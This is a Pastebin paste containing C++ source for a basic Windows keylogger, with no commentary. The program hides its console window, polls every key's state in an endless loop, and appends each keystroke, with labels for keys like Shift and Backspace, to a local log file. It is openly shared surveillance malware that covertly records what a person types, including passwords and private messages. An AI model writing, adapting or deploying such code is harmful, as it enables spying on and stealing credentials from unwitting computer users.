Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <Windows.h>
- int save(int key, char* file);
- int main() {
- FreeConsole();
- char i;
- while (true)
- {
- Sleep(10);
- for (i = 8; i <= 255; i++)
- {
- if (GetAsyncKeyState(i) == -32767)
- {
- save(i, (char*)"log.txt");
- }
- }
- }
- return 0;
- }
- int save(int key, char* file)
- {
- std::cout << key << std::endl;
- Sleep(10);
- FILE* output_file;
- output_file = fopen(file, "a+");
- switch (key)
- {
- case VK_SHIFT:
- fprintf(output_file, "%s", "[SHIFT]");
- break;
- case VK_CONTROL:
- fprintf(output_file, "%s", "[CONTROL]");
- break;
- case VK_BACK:
- fprintf(output_file, "%s", "[BACKSPACE]");
- break;
- case VK_LBUTTON:
- fprintf(output_file, "%s", "[LEFT_MOUSE]");
- break;
- case VK_RBUTTON:
- fprintf(output_file, "%s", "[RIGHT_MOUSE]");
- break;
- case VK_RETURN:
- fprintf(output_file, "%s", "[RETURN]");
- break;
- case VK_ESCAPE:
- fprintf(output_file, "%s", "[ESCAPE]");
- break;
- default:
- fprintf(output_file, "%s", &key);
- }
- fclose(output_file);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement